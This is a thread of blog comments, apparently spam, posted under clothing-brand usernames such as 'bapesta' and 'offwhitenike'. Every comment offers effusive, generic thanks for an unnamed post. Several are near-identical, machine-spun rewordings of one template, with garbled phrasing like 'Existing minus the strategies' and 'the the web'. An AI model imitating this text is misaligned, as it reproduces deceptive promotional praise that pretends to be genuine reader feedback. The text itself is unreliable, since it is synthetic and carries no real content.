I must express appreciation to you for bailing me out of such a circumstance. After scouting throughout the the web and coming across suggestions which were not productive, I believed my entire life was done. Existing minus the strategies to the difficulties you've resolved by means of your entire guideline is a crucial case, and the kind that might have badly damaged my career if I hadn't encountered your site. Your actual natural talent and kindness in controlling all the stuff was very helpful. I am not sure what I would have done if I hadn't come upon such a point like this. It's possible to at this time look ahead to my future. Thank you very much for your high quality and result oriented guide. I won't hesitate to propose your blog to anyone who needs and wants support about this problem.
bapesta 10个月前 (01-19) | 回复
I would like to get across my appreciation for your kindness giving support to persons who really want assistance with this one study. Your very own dedication to passing the solution all-around has been quite helpful and has all the time made professionals just like me to attain their ambitions. Your new warm and helpful report can mean a whole lot to me and additionally to my office workers. Thanks a ton; from each one of us.
bapehoodie 10个月前 (01-20) | 回复
I would like to express some thanks to the writer for rescuing me from this type of matter. Because of browsing through the the net and coming across suggestions which were not powerful, I was thinking my entire life was done. Being alive without the presence of answers to the problems you've fixed all through your post is a serious case, and the ones that might have in a negative way affected my career if I hadn't come across your web site. Your personal expertise and kindness in dealing with every aspect was invaluable. I am not sure what I would've done if I hadn't encountered such a solution like this. I can also now look forward to my future. Thanks for your time so much for the specialized and results-oriented help. I will not think twice to refer the website to any individual who should have guidance about this topic.
offwhitenike 10个月前 (01-22) | 回复
I precisely desired to thank you so much all over again. I'm not certain the things that I might have implemented in the absence of the actual secrets shown by you over such industry. This was a very frightful matter in my opinion, however , understanding a new expert style you handled that made me to weep with happiness. I'm thankful for this support and in addition hope that you recognize what a powerful job you are always undertaking instructing other individuals via your webblog. Most likely you've never encountered all of us.
bapeclothingoutlet 10个月前 (01-24) | 回复
Needed to send you a very small observation to help thank you again for those pretty knowledge you have documented here. It's certainly extremely generous of people like you to convey freely just what most people would have made available for an ebook in making some dough for their own end, especially since you could have tried it in the event you decided. The suggestions also worked as the great way to understand that other individuals have similar interest really like my personal own to see a whole lot more with regards to this condition. I'm certain there are some more enjoyable periods ahead for people who look over your blog post.